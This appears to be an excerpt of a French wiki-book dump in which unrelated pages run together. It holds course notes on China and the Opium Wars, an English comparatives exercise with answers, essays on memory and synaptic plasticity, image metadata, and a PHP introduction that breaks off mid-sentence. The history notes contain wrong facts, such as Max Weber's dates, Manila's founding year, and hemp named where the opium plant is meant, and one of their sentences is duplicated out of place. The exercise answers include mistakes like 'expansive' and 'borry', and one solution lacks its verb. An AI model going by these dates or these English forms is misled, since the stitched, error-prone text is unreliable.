incapable de se moderniser, repliée sur elle-même. ====Un pays incapable de se moderniser==== 3 grandes thèses expliquant ce déclin : * Thèse [[w:marxisme|marxiste]] : La Chine n’a pas pu passer par la phase [[w:capitaliste|capitaliste]] (développement des forces productives) à cause des impérialiste étrangers l’ayant envahi et tué un « capitalisme en germe ». * Thèse des [[w:malthusianisme|malthusiens]] : 1749 : + de 177 M d’hab. 1790 : 301 M 1840 : 400 M L’agriculture de manque pas de bras, par conséquent, pas de progrès technique cherchant à développer les machines. La surface cultivée est limitée, la pop. augmente et l’agriculture ne peut plus nourrir tout le monde. * Thèse de [[w:Max Weber|Max Weber]] (1854-1950) : S’appuie sur la dimension culturelle : « religion des chinois » le [[w:confucianisme|confucianisme]]. Idéologie de la résistance aux changements ; accepter la société telle qu’elle est. => Pas d’innovation => pas d’esprit capitaliste. ====Un pays replié sur lui-même, la Chine et son rapport au monde extérieur==== Pensée d’être le centre de l’univers avec ses 18 provinces. « La Chines des [[w:Han|Han]]s » est au centre. A la périphérie : les provinces extérieures (« marches de l’empire ») : [[w:Tibet|Tibet]], [[w:Mongolie|Mongolie]], [[w:Turkistan|Turkistan]] chinois, [[w:Mandchourie|Mandchourie]]. Certaines de ces provinces ont dominé la Chine (Mandchourie, Mongolie) A la périphérie : les royaumes vassaux de l’empereur de Chine. (Seul rapport accepté par les chinois) : [[w:Corée|Corée]], [[w:Annam|Annam]], [[w:Tonkin|Tonkin]], [[w:Siam|Siam]]. Aux quatre coins du monde : les barbares… Cette vision du monde a déterminé les relations de la Chine avec le reste du monde : rapports inégalitaires, de supérieur à subordonnés. * Pas d’échange commerciaux véritable => tributs et cadeaux. * Pas de rapport diplomatique => pas d’ambassade, les chinois ne veulent pas se déplacer et ne veulent pas d’étrangers dans le pays. * Pas de ministère des affaires étrangères car pas de reconnaissance de l’étranger. ====Intérêt de la Chine pour les puissances étrangères==== Le monde commence à s’intéresser à la Chine début XIXe siècle.Pourquoi ? Besoin de s’étendre vers l’étranger (pour les matières premières) Recherche de nouveaux marchés (car début du capitalisme) Trouver de nouvelles zones d’investissements. Installer des bases / ports relais pour les bateaux militaires. Maintenir l’équilibre entre les pays (un pays vient, les autres aussi) Vague d’intérêt des contrées lointaines => multiplication des sociétés savantes, des revues d’ethnographie… Désir d’améliorer la connaissance du monde. Evangéliser les populations => missions catholiques. ministère des affaires étrangères car pas de reconnaissance de l’étranger. ====Le commerce extérieur de la Chine avant guerres de l’opium==== Le commerce européen avait un peu touché la Chine dès le XVIe siècle. Premiers partenaires économiques de la Chine : * Les [[w:portugais|portugais]] arrivés en 1517, installés à [[w:Canton|Canton]]. Cité « [[w:Macao|Ma Cao]] ». * Les [[w:espagnols|espagnols]] arrivés en 1565, installés aux [[w:Philippines|Philippines]], ils fondent [[w:Manille|Manille]] en 1671 et ont beaucoup de missionnaires. * Les [[w:hollandais|hollandais]], arrivés à l’île de Penghu à côté de [[w:Taiwan|Taiwan]], installés en [[w:Indonésie|Indonésie]], ils fondent « Batavia ». Malgré leur philosophie du monde, en 1685 (Emp. Kangxi 1661-1722), un édit impérial autorise l’ouverture des ports chinois aux étrangers. Le premier navire de commerce arrive en 1689 mais le commerce est limité et répond à des règles strictes. Les négociants étrangers sont astreints à des taxes. A Canton, un marchand de l’empereur prélève des taxes au profit de l’Etat (monopolise le commerce). En 1720, le marchant de l’empereur est remplacé par le « Co-Hong » (organisme collégial). Mais : À l’arrivée de l’[[w:empereur Qianlong|empereur Qianlong]] (1736-1796), la politique commerciale s’inverse. Le commerce est limité en étendue et intensité. Un édit impérial en 1757 ordonne que : Le Co-Hong fixe les prix et les quantités des marchandises. Les frontières maritimes sont fermées sauf Canton. Les étrangers ne peuvent pas s’installer où ils veulent et n’ont pas le droit d’apprendre le chinois. Les marchant sont exaspérés, les anglais se rendent compte que ce marché ne leur est pas profitable (ils achètent plus qu’ils ne vendent car la Chine est autosuffisante). La Chine n’achète que des produits de luxe : fourrures russes, verreries € et vend beaucoup de « chinoiseries » : thé, soie, porcelaine, laqués. Les marchands anglais demandent à leur gouvernement d’intervenir. Il dépêche 2 missions diplomatiques / ambassades. La première conduite en 1793 par Lord McCartney est un échec car Qianlong n’a besoin d’aucun produit proposé par les anglais. La deuxième conduite en 1816 par Lord Amherst n’est pas un succès non plus et manque de mal tourner. Par conséquent, les anglais doivent trouver une solution : trouver un produit intéressant les chinois. ===Une marchandise miraculeuse : l’opium.=== ====L’offensive commerciale des puissances étrangères==== Les chinois connaissent déjà l’[[w:opium|opium]] mais ne l’utilisent qu’à des fins thérapeutiques ([[w:analgésique|analgésique]]). Au [[w:XVIIe siècle|XVIIe siècle]], il commence à être utilisé comme drogue. Les premiers à en vendre sont les [[w:portugais|portugais]], le faisant venir d’Inde. La « campagne des Indes orientale » poursuit la vente. Intensification : En 1729, 200 caisses (60 / 72 kg) d’opium raffiné entrent en [[Chine]] à des fins médicales. Fin XVIIIe : + de 4000 caisses En [[w:1838|1838]] : + de 40 000 caisses. ====La réponse des chinois==== a) <u>Les premières mesures de prohibition</u> En [[1729]], arrive le premier édit de prohibition par L’Empereur [[Yong Zheng]] ([[1723]]-[[1736]]). Il interdit le trafique l'[[w:opium|opium]]. Il pose comme sanctions de porter la gangue pendant un mois et être déporté à la frontière. Les soldats locaux, les fonctionnaires de la douane, etc… sont également punis, contrairement aux consommateurs. L’opium devient un produit de contrebande (non un produit pharmacopée) Cependant, le trafic va perdurer. En 1796, un nouvel édit va être proclamé par le nouvel Empereur Jia Qing (1796-1820). Confirme l’interdiction d’importation sous peine de mort. Peines pour les consommateurs (opiuman) L’emp. Va proclamer un nouvel édit 4 ans plus tard. Confirme l’interdiction d’importation sous peine de mort. Interdiction de cultiver le chanvre sur le sol chinois. Les dépôts de Canton sont déplacés à Huangpu (en cantonnais : Whampoa). En 1809, une mesure administrative pour entraver le trafic : Les navires venant décharger à Huangpu doivent donner un certificat montrant qu’ils n’ont pas d’opium à bord. Ce certificat est établi par des fonctionnaires chinois locaux parfois corrompus. Le trafic d’opium est très lucratif ; en 1813, une caisse d’opium indien de bonne qualité se vend sur le marché 2428 roupies (prix de reviens : 237 roupies). En 1821, un nouveau renforcement de la prohibition est mis en place : Le commerce n’est plus possible à Huangpu et se déplace donc un peu plus au Nord, à Lingding où il va se développer de 1821 à 1859. Le commerce anglais avec la Chine devient excédentaire. De plus en plus de consommateurs : 1835 : 2 millions de fumeurs dans 15 provinces. b) <u>La guerre au trafic d’opium</u>. Les autorités chinoises essaient d’être plus efficaces. L’emp. Daoguang (1821-1851) va apporter une réponse. Les lettrés sont sollicités et chacun d’entre eux fournit un rapport écrit proposant une solution. L’emp. cherche la meilleur solution parmi ces rapports. Le débat parmi les lettrés dure 2 ans (1836-1838). Le gouverneur général des province de Hubei et du Hunan : Lin Zexu (1775-1850), partisan de l’ouverture de la Chine au monde extérieur et de l’imitation des techniques de l’Occident. Néanmoins il est contre le trafic. Son mémoire défend l’interdiction de l’opium et propose une série de mesures pour réprimer le trafic et la consommation d’opium. Ce texte se fonde sur la pratique de Lin dans les deux provinces qu’il gouverne : confisquer les stocks de drogue et les accessoires de l’opiumanie. A la fin des deux ans, l’emp. se rapproche des partisans anti-opium. Lin est nommé commissaire impérial de la province de Guangdong (Canton) en décembre 1838. Il doit mettre un terme au trafic et a pour cela des pouvoirs importants. c) <u>L’action de [[w:Lin Zexu|Lin Zexu]]</u> Lin arrive à [[w:Canton|Canton]] en mars [[w:1839|1839]]. La première chose qu’il fait en arrivant est de faire établir la liste de toutes les fumeries d’[[w:opium|opium]], les tenanciers et les vendeurs. Il confisque tous les stocks d’opium de la ville et donne l’ordre aux propriétaires des stocks de venir remettre la drogue en échange de [[w:thé|thé]] et ils doivent s’engager à ne plus commercer avec les chinois. Le surintendant du commerce britannique va devoir obéir à Lin et demander aux vendeurs de rendre l’[[w:opium|opium]]. En avril [[w:1839|1839]], Lin va faire parvenir un message à [[w:Reine Victoria|Victoria]] disant que la consommation d’opium est interdite en [[w:Chine|Chine]] et demande de faire cesser la production. Remise de l’[[w:opium|opium]] de fin avril à mi mai 1839. En juin 1839, l’opium saisi est détruit. 20 000 caisses : 1 188 tonnes. Lin va faire éditer un règlement : les bateaux étrangers seront systématiquement fouillés ; les transporteurs de drogue ne seront pas admis en [[w:Chine|Chine]]. L’opinion publique est favorable à l’interdiction, on note d’ailleurs quelques manifestations populaires contre les trafiquants. Le contexte est particulier après la destruction de l’opium : les relations sont tendus entre les chinois et les marchands étrangers ([[w:anglais|anglais]]) : bagarres… La situation va dégénérer. ===La première guerre de l’opium :=== ====La fièvre monte==== En Angleterre, environ 300 sociétés commerciales ayant des agents et des marchandises à Canton vont demander au gouvernement britannique d’intervenir auprès des autorités chinoises. Les revendications sont plus ou moins radicales : Ils demandent une intervention officielle pour obtenir un dédommagement de la marchandise détruite. Une campagne de presse est montée, montrant les incidents (bagarres…) entre anglais et chinois. En Chine, les tensions montent. Deux affrontements armés entre les navires anglais et les jonques chinoise : le 4 septembre 1839 et le 3 novembre 1839. Après ces deux altercations, Lin va interdire le port de Canton aux navires anglais. L’emp. de Chine va « fermer pour toujours » Canton aux anglais le 5 janvier 1840. La nouvelle parvient en Angleterre donnant lieu à un débat de 3 jours en avril 1840 à la Chambre des Communes entre les partisans du recours à la force pour faire valoir le droit des commerçants anglais et obtenir un dédommagement, et ceux pensant que ce trafic est une honte pour le drapeau anglais. Les autorités britanniques vont lancer des opérations militaires contre les chinois pour obtenir des dédommagements pour l’opium détruit. ====Les hostilités==== En avril 1840, une armada anglaise est mise sur pied : 16 vaisseaux de ligne, 4 bateaux à vapeur armés, 28 navires de transport avec 540 canons et 4000 hommes. Cette armée considérable est sous le commandement de l’amiral George Elliot. L’armada arrive au large de Canton en juin 1840 et va vouloir attaquer la ville. Mais Lin Zexu avait fait planter des pieux reliés par des chaînes empêchant les bateaux d’accoster et organisé une partie de la population en milice chargée de défendre la ville. Les anglais remontent vers le Nord et prennent un endroit appelé Dinghai dans la province du Zhejiang. Au début du mois d’août, ils se dirigent vers Tianjin (ville portuaire la plus proche de Pékin) La cour prend peur. Lin Zexu tombe en disgrâce, ses opposants en profitent, il est condamné à l’exil. A sa place est nommé un aristocrate mandchou : Qi Shan. Ce dernier va annoncer qu’un décret impérial va permettre la reprise du commerce entre la Chine et l’Angleterre. Cependant, les anglais veulent également être remboursés pour l’opium et le déplacement. Des négociations entre Qi Shan et les anglais sont entreprises à Canton. Qi Shan fait détruire les protections et les milices pour obtenir un climat de confiance le 29 novembre 1840. Trois points sont discutés : La reprise du commerce avec l’Angleterre. Le remboursement des stocks détruits. Le don de Hong Kong (l’île Victoria) aux anglais. (refusé) Les anglais vont faire pression sur les chinois en attaquant des fortifications et en s’en emparant. Qi Shan a peur et accepte la troisième demande sans en référer à la cour. A la cour, on sait que les anglais ont attaqué. L’emp. est mécontent, il destitue Qi Shan (qui sera exécuté en février 1841) et déclare la guerre le 29 janvier 1841. A la place de Qi Shan, il nomme son neveu Yi Shan. Assez vite, les anglais vont se rendre maître de tous les points stratégiques de la zone. Yi Shan n’est pas encore arrivé à Canton. Il va essayer de livrer l’assaut mais il sera vite repoussé ; les chinois vont se replier à l’intérieur de Canton et les anglais vont contrôler tous les points stratégiques autour de la ville. Yi Shan va demander l’armistice et une convention va être conclue entre lui et les anglais : « Convention sur le rachat de Canton » signée le 27 mai 1841. Cette convention ne porte que sur la question de Canton. Les chinois s’engagent à racheter Canton pour 6 millions de dollars dont 1 million le jour même de la fin de la Convention. Cependant, cette affaire repose sur un double malentendu : Les chinois pensent que tout est fini et que les 6 millions sont une sorte de « prêt commercial ». Les anglais sont insatisfaits, le négociateur anglais est rappelé à Londres, n’ayant pas tiré assez de la situation. Pour obtenir encore plus, les anglais vont de nouveau faire peur aux chinois. En août 1842, les navires anglais (plus de 70) vont s’engager sur le Yang Tsé à la hauteur de Nankin et font semblant de menacer ce port fluvial. Les chinois sont encore impressionnés. Le 22 août 1842, l’emp. Daoguang accède à toutes les demandes britanniques. ====Les traités inégaux==== 29/08/1842 : Les représentants chinois à la cour vont signer à bord d’une canonnière anglaise le traité de Nankin. Ce traité sera complété par deux autres traités le 22/07/1843 et le 8/08/1843 (traité de Humen). Ces traités reconnaissent aux anglais des droits et des avantages : Cession de Hong-Kong. Ouverture de 5 ports au commerce extérieur : Canton, Fuzhou, Amoy (Xiamen), Ningbo, Shanghai. Droit de s’installer dans les 5 ports, y vivre avec leur famille et édifier des édifices sur place (traité de Humen). Les anglais obtiennent que les chinois leur remettent de l’argent en compensation de l’opium détruit et du déplacement. (1/3 des finances publiques du gouvernement impérial) Convention sur les tarifs douaniers : les commerçants anglais payent des droits sur les exportations et les importations. Le montant est établi par les autorités anglaises et chinoises. Droit de la « juridiction consulaire » : en cas de litige entre chinois et anglais, seule la juridiction est utilisée : loi anglaise. Nation la plus favorisée : si la Chine signe un traité avec une puissance, tout privilège accordé le sera également à l’Angleterre. D’autres nations (Etats-Unis, France) vont réclamer les mêmes privilèges. Les Etats-Unis : Dès décembre 1842, ils vont revendiquer les mêmes droits (sauf Hong-Kong). Ils obtiendront gain de cause en juillet 1844 avec le traité de Wang Xia (village pas loin de Macao) Les français : Loin derrière les anglais et le américains, ils vont cependant rattraper leur retard et obtenir les mêmes privilèges (sans menace de guerre) en octobre 1844 avec le traité de Huangpu (Whampoa). Ils obtiennent également le droit de construire des églises et des cimetières et également le droit d’évangéliser. (Louis XIV avait déjà envoyé des missionnaires catholiques mais un édit avait interdit de pratiquer la religion catholique). ====Les conséquences économiques et sociales de la 1ère guerre de l’opium==== Après les traités, les puissances vont s’ouvrir l’économie chinoise. 1851 : la Chine a exporté plus de 100 millions de livres de thé. Fin 1840 : la Chine a exporté 20 000 balles de soie. Tous les produits se vendant bien passent sous contrôle étranger. Les étrangers vont renforcer leur position dans la région de Shanghai. Dès 1845, création d’une concession britannique, en 1848, concession américaine, peu de temps après : alliance et en 49, concession française. Le commerce de l’opium continue de se propager mais n’est toujours pas légalisé. On constate que les importations d’opium sont passées de 40 000 caisses en 1848 à 52 000 en 1850 à 80 000 en 1853. a) <u>Les conséquences financière</u>. Le commerce de l’opium coûte cher à la Chine même si les prix ont baissé : avant 1821 : 1 caisse = entre 1000 et 2000$ mexicains Après 1838 : entre 700 et 1000 dollars mexicains. La monnaie : le liang (taël en français) correspond à un poids d’argent variable selon la région et le secteur d’activité (37 à 38 g.) Le Feng (sapèque en français). 1000 fengs pour 1 liang. (Pièces rondes trouées). Les chinois payent leurs dettes en taël donc la monnaie se raréfie. La valeur de l’argent métal augmente au détriment de la monnaie de cuivre. Après 1845 : 1 [[taël]] = 2200 [[sapèque]]s. Les chinois n’ont que des sapèques, les impôts sont calculés en taël. à Augmentation des impôts pour les chinois. b) <u>Les conséquences sociales</u> - A la campagne : Les paysans s’endettent de plus en plus. Leurs créanciers font monter les taux, les intérêts équivalent au capital. Les paysans abandonnent leurs terres, deviennent voleurs ou rejoignent des sociétés secrètes (Pa Kin Destruction) - En ville : les artisans : les produits étrangers (cotonnades et fils) peuvent se déverser sur le marché chinois. Donc les produits chinois ne peuvent rivaliser avec les produits bon marché étrangers. L’ouverture de plusieurs ports a engendré la perte d’emplois des bateliers. Entre 1841 et 1849, plus de 100 soulèvements populaires dans le pays (Les Taipings). La colère populaire va se déverser contre les étrangers=>mouvement d’hostilité à Canton, Fuzhou. Contre la cour Le gouvernement va tenter de réagir. En 1851, le nouvel empereur Xian Feng fait tomber en disgrâce les négociateurs et va tenter de reprendre ce qui avait été donné. C’est ce qu’attendaient les anglais pour faire naître un conflit. ===La 2e guerre de l’opium : 1856-1860.=== Les anglais vont essayer d’obtenir des avantages supérieurs. En 1854, les « ministres » de Grande-Bretagne, France et Etats-Unis en poste en Chine vont trouver les autorités chinoises et demander une révision à la hausse des traités. Les anglais se plaignent de ne pouvoir entrer dans Canton à cause de l’hostilité de la population. Le commerce ne croit pas assez vite. La Chine du Nord devrait être ouverte et le commerce le long du fleuve Yang Tsé (Chang Jiang) autorisé. Le commerce de l’opium devrait être légalisé. Les occidentaux n’ont pas accès à la cour pour négocier. Mais les chinois ne veulent rien entendre : situation sans issue. ====Les hostilités==== 2 incidents mineurs que les puissances étrangères vont utiliser. - le 8 octobre 1856 : un bateau chinois est en cause : ancré au large de Canton, il est enregistré à Hong-Kong et arbore donc le pavillon anglais. Plus enregistré depuis 10 jours, la police sait qu’il y a un pirate notoire à bord. Elle monte et arrête tout l’équipage (chinois). Le consul de Grande-Bretagne va demander la libération et demande que la police présente des excuses. Le chef de la police chinoise va refuser. - Un missionnaire français : l’abbé Chapdelaine (1814-1856) est trouvé quelque part où les étrangers ne sont pas acceptés, il est torturé, etc… Les français et les anglais s’allient pour la 2e guerre de l’opium. En décembre 1857 : les troupes anglo-françaises s’emparent de Canton et remontent vers Tianjin (port le plus près de Pékin). Soutien des USA et Russes en médiateurs. En mai 1858, ils prennent les forts protégeant Tianjin et menacent de prendre Tianjin et de monter à Pékin. Les chinois vont céder. Signature de nouveaux traités. ====De nouveaux traités inégaux==== Juin 1858 : deux nouveaux traités avec la Grande-Bretagne, la France, les USA et la Russie. Les traités de Tianjin vont procurer de nouveaux privilèges : Des représentants étrangers sont autorisés à résider à Pékin pour négocier avec les autorités et la cour. Plusieurs nouveaux ports sont ouverts au commerce avec l’étranger, nouveaux établissements autour du Yang Tsé Les missionnaires étrangers peuvent se déplacer librement dans tout le pays. Des canonnières étrangères ont le droit d’inspecter les ports ouverts et de naviguer sur le Yang Tsé. De grosses indemnités pour les opérations militaires. Les négociations vont se poursuivre à Shanghai et en novembre 1858, le gouvernement central accepte plusieurs choses : Légaliser le commerce de l’opium : en 1886, 180 000 caisses d’opium : 10 000 tonnes. En 1878, 120 millions d’opiuman. Les douanes maritimes chinoises passent sous le contrôle des étrangers. Le droit de douane est faible. Problème : entre le moment où les chinois acceptent ces conditions et leur mise en œuvre, un moment se passe. Normalement, cela devait être fait en un an mais le gouvernement central chinois va faire durer. Français et anglais vont accélérer les choses. Au printemps 1860, 18 000 soldats anglais et 3 000 soldats français embarquent sur les zones chinoises. Août 1860 : la coalition va s’emparer de Tianjing. Le gouvernement chinois va vite demander la paix. Cependant, un incident va survenir : des militaires chinois vont capturer un groupe d’émissaires franco-anglais. Les troupes franco-britanniques vont vouloir donner une leçon aux chinois et marcher sur Pékin. L’empereur va fuir à Chengde, au-delà de la Grande Muraille. L’ancien palais d’été va être occupé le 6 octobre 1860 ; les troupes françaises vont le piller et l’incendier. Le 13 octobre, les troupes anglo-françaises vont entrer dans Pékin. C’est un gouvernement humilié qui va accéder aux requêtes présentées par les vainqueurs : les traités de Tianjin. Les nouveaux traités de Pékin sont conclus, ils accordent des privilèges supplémentaires aux anglais et français. Les clauses : Ouverture de Tianjin au commerce (port de Pékin). Les portes de la capitale sont aux mains des étrangers. Droit d’emporter des travailleurs chinois à l’étranger : c’est le début des coolies. Les paysans et pauvres des villes vont s’engager à aller travailler dans les mines et les plantations en Malaisie, Australie, Amérique latine et Etats-Unis (construction du chemin de fer transcontinental). Droit pour les missionnaires catholiques français d’acheter des terres et de construire des églises en Chine. Cession à la Grande Bretagne de Kowloon (adjacent à Victoria) Augmentation des indemnités de guerre. ====Le rôle de la Russie dans la 2e guerre de l’opium==== Depuis la défaite de la guerre de Crimée, la Russie souhaite s’étendre. Elle va pouvoir s’étendre aux détriments de la Chine. Au début du XVIIe siècle, les russes et les chinois se sont entendus sur les frontières. Par la suite, les russes ont essayé de repousser les frontières (au-delà du fleuve Heilong) et installé 2 fortifications. Les russes ont profités de la 2e guerre de l’opium pour consolider leur avancée. Ils ont collaboré avec les français et les anglais et se sont posé en médiateur du conflit. Ils demandent par la suite à être rétribués. Ils en profitent pour occuper Haishengwei sur la côte pacifique de la Sibérie et le rebaptiser Vladivostok (« le souverain de l’est). Trois traités inégaux vont être imposés à la Chine : Traité de Aihui en mai 1858. Traité de Tianjing en juin 1858 Traité de Pékin en novembre 1860. Ils offrent les mêmes privilèges que tous les autres pays en Chine. Ils reconnaissent formellement les annexions territoriales : 1 million de km². Anglais:Comparatifs Test 2827 42335 2006-05-15T07:42:32Z 86.194.127.58 /* Exercice 1 */ == Exercice 1== Donnez les comparatifs et superlatifs de supériorité des adjectifs suivants : # sociable : ________; ____________ # thin : ____________; ____________ # conscientious : __________; ____________ # funny : ___________; ___________ # short : ___________; ___________ # pleasant : __________; ___pleasant_________ == Exercice 2== Traduisez les phrases suivantes : # Kevin est plus à la mode que son frère mais il est plus élégant que sa soeur. # Anthony est plus séduisant que toi. # Ses yeux sont plus bleus que les yeux de Jenny. # Je suis plus grande que mon amie Lea. # Lyon est plus loin que Paris. Kevin is more fashionable than his brother but he is more elegant than his sister Anthony is more attractive than you His eyes are bluer than Jenny's eyes I am taller than my friend Lea Lyon is farther than Paris == Exercice 3 == Exprimez l'infériorité : # Il est moins agréable que son frère. # Mary est moins démodée que Samantha. == Exercice 4 == Traduisez les phrases suivantes : # Cet hôtel est aussi cher que celui-ci. # Ce garçon est moins triste que cette fille. # Tu es aussi ennuyeux que ton frère. # Laura est moins sympathique que Jane. This hotel is as expansive as this one This boy is less sad than this girl You are as borry as your brother Laura is less amical than Jane == Solutions == === Exercice 1 === # more sociable than; the most sociable # thinner than; the thinnest # more conscientious than; the most conscientious # funnier than; the funniest # shorter than; the shortest # more pleasant than; the most pleasant === Exercice 2 === # Kevin is more fashionable than his brother but he is smarter than his sister. # Anthony is more attractive than you. # His (her) eyes are bluer than Jenny's. # I am taller than my friend Lea. # Lyon is further (farther) than Paris. === Exercice 3 === # He is not as pleasant as his brother. He is less pleasant than his brother. # Mary is not as selfish as Samantha. Mary is less selfish than Samantha. ===Exercice 4 === # This hotel is as expensive as this one. # This boy less sad than this girl. # You are as boring as your brother. # Laura is less attractive than Jane. Retour [[Enseignement de l'anglais]]<br />[[Anglais : Comparatifs]] Physiologie de l’imagination et du langage : qu’est-ce que la mémoire ? Qu’est-ce que l’apprentissage ? 2828 14393 2005-03-08T20:46:04Z Thierry Dugnolle 206 Création Pour les êtres humains, la mémoire, c’est sutout le souvenir, la remémoration, la capacité à revivre par l’imagination des évènements passés. Cette forme de mémoire est très particulière et elle sera étudiée dans la contexte de la dynamique de l’imagination. L’approche de la neurobiologie et de l’intelligence artificielle est beaucoup plus générale. Pour qu’on puisse parler de mémoire et d’apprentissage, il y a principalement deux critères : la plasticité du système et l’amélioration d’une performance. ===La mémoire et la plasticité=== Un solide a un comportement plastique lorsqu’il ne retourne pas à sa forme initiale après avoir été déformé. Si au contraire le solide est élastique, c’est à dire s’il retourne à sa forme initiale, il “oublie” la déformation, il n’en conserve aucune trace. C’est pourquoi un solide plastique et mou, aisément déformable, tel que la cire, est souvent pris comme une image de la mémoire. On peut étendre la notion de plasticité à tous les systèmes. Par définition un système est plastique lorqu’il est capable de garder une trace des évènements qu’il subit ou auxquels il participe. En physique on parle parfois à ce sujet de phénomènes d’hysteresis ou plus simplement de mémoire. ===L’apprentissage et l’amélioration d’une performance=== Dès qu’il y a de la plasticité, on peut parler de mémoire mais cela ne suffit pas pour l’apprentissage. La durabilité d’une cicatrice montre la plasticité de la peau, mais la cicatrice par elle-même ne montre pas qu’on a appris quelque chose. Apprendre c’est acquérir une compétence, c’est devenir capable de faire des choses qu’on ne savait pas faire auparavant. De façon générale, c’est améliorer une performance, c’est devenir plus efficace. Il arrive parfois cependant que dans le même mouvement on progresse sur certains points tout en régressant sur d’autres. Le même changement peut être vu comme un apprentissage ou non selon la performance considérée. La théorie générale de l’apprentissage reste neutre sur ce sujet. Il suffit qu’il y ait un critère de succès pour qu’on puisse faire une étude. On n’a pas besoin de se prononcer sur la valeur intrinsèque de ce critère. ===Le rôle de l’expérience=== L’acquisition d’une compétence ne résulte pas forcément d’un apprentissage. A l’issue de sa métamorphose, la chenille s’est transformée en papillon et elle a donc acquis de nouvelles compétences. Mais il n’y aurait pas beaucoup de sens à dire qu’elle les a apprises. Pour qu’il y ait apprentissage, il faut que l’amélioration d’une performance soit la conséquence d’une expérience, ou plus exactement, la conséquence des traces laissées par une expérience. ===L’utilisation des traces=== La difficulté technique d’une théorie de l’apprentissage est semblable à celle de la théorie des représentations : c’est le problème de l’utilisation. Il relativement facile par exemple de construire une machine capable de produire des représentations visuelles de son environnement. Une caméra vidéo sait faire cela. Il est en revanche beaucoup plus difficile de construire une machine capable d’utiliser des représentations visuelles pour s’orienter dans son environnement. De ce point de vue, les capacités des robots restent très inférieures à celles des êtres vivants. De même il est relativement facile de construire une machine capable de conserver des traces des représentations visuelles. Un magnétoscope enregistreur sait faire cela. Mais il est beaucoup plus difficile de construire une machine capable d’utiliser des traces de représentations visuelles pour améliorer ses performances. Le problème posé à une théorie de l’apprentissage n’est pas celui de la conservation des traces mais celui de leur utilisation. Que peut-on faire avec les traces laissées par une expérience ? Comment permettent-elles de progresser ? Physiologie de l’imagination et du langage : la plasticité des neurones 2829 14394 2005-03-08T20:57:59Z Thierry Dugnolle 206 Création Il y a de nombreuses façons d’utiliser des traces. Les possibilités techniques sont a priori illimitées. Cependant dans le monde vivant les capacités d’apprentissage sont en général réservées aux animaux dotés d’un système nerveux. Il y a peut-être des exceptions. Il faut remarquer à ce sujet que beaucoup d’êtres vivants n’ont pas besoin d’apprendre. Ils savent déjà. A priori la plasticité d’un de neurone peut avoir de nombreuses formes : *En tant qu’usine de production chimique une cellule vivante est un système plastique. En réponse à des sollicitations extérieures elle peut adopter divers modes de fonctionnement et les conserver. Un exemple de cette plasticité métabolique est la diversification des types cellulaires à partir d’une cellule unique lors du développement embryonnaire : pour une même cellule il y a plusieurs destinées métaboliques possibles (peau, neurones, muscles, ...). Le choix de cette destinée dépend en partie de signaux extérieurs, des molécules qui sont rencontrées. La mort cellulaire est un cas extrême de plasticité. La plasticité métabolique et la mort cellulaire jouent un rôle très important pour le développement du système nerveux. Comme on peut voir l’apprentissage comme une sorte de développement dirigé par l’expérience, les questions sur les mécanismes de l’apprentissage animal appartiennent à la biologie du développement. Comment un réseau de neurones tire profit de son expérience pour orienter son propre développement ? Quelles informations sont utilisées et comment le sont-elles ? *La plasticité des synapses, c’est à dire des points d’action d’un neurone sur un autre, est la forme de plasticité la plus importante pour les théories de l’apprentissage, parce que la performance d’un réseau de neurones dépend crucialement de la façon dont les neurones agissent les uns sur les autres. Par plasticité des synapses il faut entendre non seulement les modifications individuelles des synapses (plus ou moins agissante, en sommeil, ...) mais aussi les processus de création et de destruction de synapses, ainsi que les processus de croissance ou de décroissance des fibres qui leur sont associés. La plasticité métabolique est centrale mais elle interagit avec la plasticité périphérique des synapses. La plasticité synaptique est une sorte de développement local tandis que la plasticité métabolique est associée à un développement régional. *En tant que pile électrique, un neurone est plastique. La membrane du neurone est chargée comme une capacité. Sa charge électrique dépend des signaux envoyés par d’autres neurones sur ses dendrites par l’intermédiaire des synapses. Le corps du neurone peut conserver brièvement sa charge électrique, pendant environ un millième de seconde. Cette forme de mémoire a une durée trop courte pour donner lieu à un apprentissage mais elle joue un rôle important lors des processus d’intégration des informations. Il y a d’autres formes de plasticité neuronale mais elles n’interviennent pas dans l’apprentissage si elles ne sont pas associées à la plasticité synaptique ou métabolique des neurones. Il y a peut-être des exceptions à cette règle. La plasticité synaptique est la clé de la compréhension de l’apprentissage animal. Cela a été vérifié par plusieurs équipes de chercheurs sur plusieurs formes élémentaires d’apprentissage. On connait même parfois les molécules et les mécanismes biochimiques impliqués. Mais pour les apprentissages complexes, la façon dont l’organisme met à profit sa plasticité synaptique pour améliorer ses performances est encore mal connue. Les possibilités de développement sont innombrables. Comment l’animal trouve-t-il un chemin qui le fait progresser ? Image:Programmation GTK2 en Pascal - gtk029-1.png 2830 14395 2005-03-08T21:11:15Z Didier 186 Exemple du programme gtk029.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk029.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk029-2.png 2831 14396 2005-03-08T21:12:21Z Didier 186 Exemple du programme gtk029.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk029.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Pain perdu.JPG 2833 14397 2005-03-09T17:02:20Z Antoinel 182 pain perdu {{GFDL}} Modèle:Étagère des Inclassables 2834 25961 2005-11-24T16:17:20Z Marc 66 <center>'''<big>Divers</big>'''</center> [[Traditions Populaires]] [[Image:25%.png]] - [[Acheter sur Internet]] [[Image:50%.png]] - [[Apprentissage du patin en ligne]] [[Image:25%.png]] - [[Boite à jeux]] [[Image:50%.png]] - [[Bricolage]] [[Image:50%.png]] - [[Jardinage]] [[Image:25%.png]] - [[Peinture en bâtiment]] [[Image:25%.png]] - [[Livre de Cuisine]][[Image:50%.png]] - [[Solution, truc et astuce de jeu vidéo]] - [[Jeu vidéo]] - [[Puzzles]] - [[Faire un enduit lissé traditionnel]] '''S<small>CIENCES ÉSOTÉRIQUES</small>''' [[La Numérologie]] [[Image:25%.png]] Programmation PHP/Introduction 2836 41851 2006-05-10T10:28:52Z 86.198.228.182 /* Liens externes */ {{Programmation PHP}} [[en:Programming:PHP]] ==Historique== [[Image:PHP.png|left]] PHP est un langage de script créé par Rasmus Lerdorf. Principalement utilisé pour la programmation Web. Si on devait le situer, il serait entre les SSI ([[w:Server Side Includes|Server Side Includes]]) et le langage de script [[Programmation Perl|Perl]]. Il peut s'utiliser sur tous les systèmes d'exploitation tels Windows, Linux ou autre Unix commercial, ce qui en fait un langage très portatif. PHP a récemment acquis une place incontournable dans le développement Web ''Open Source''. Sa popularité vient de sa syntaxe, proche du [[Programmation C|C]], de sa 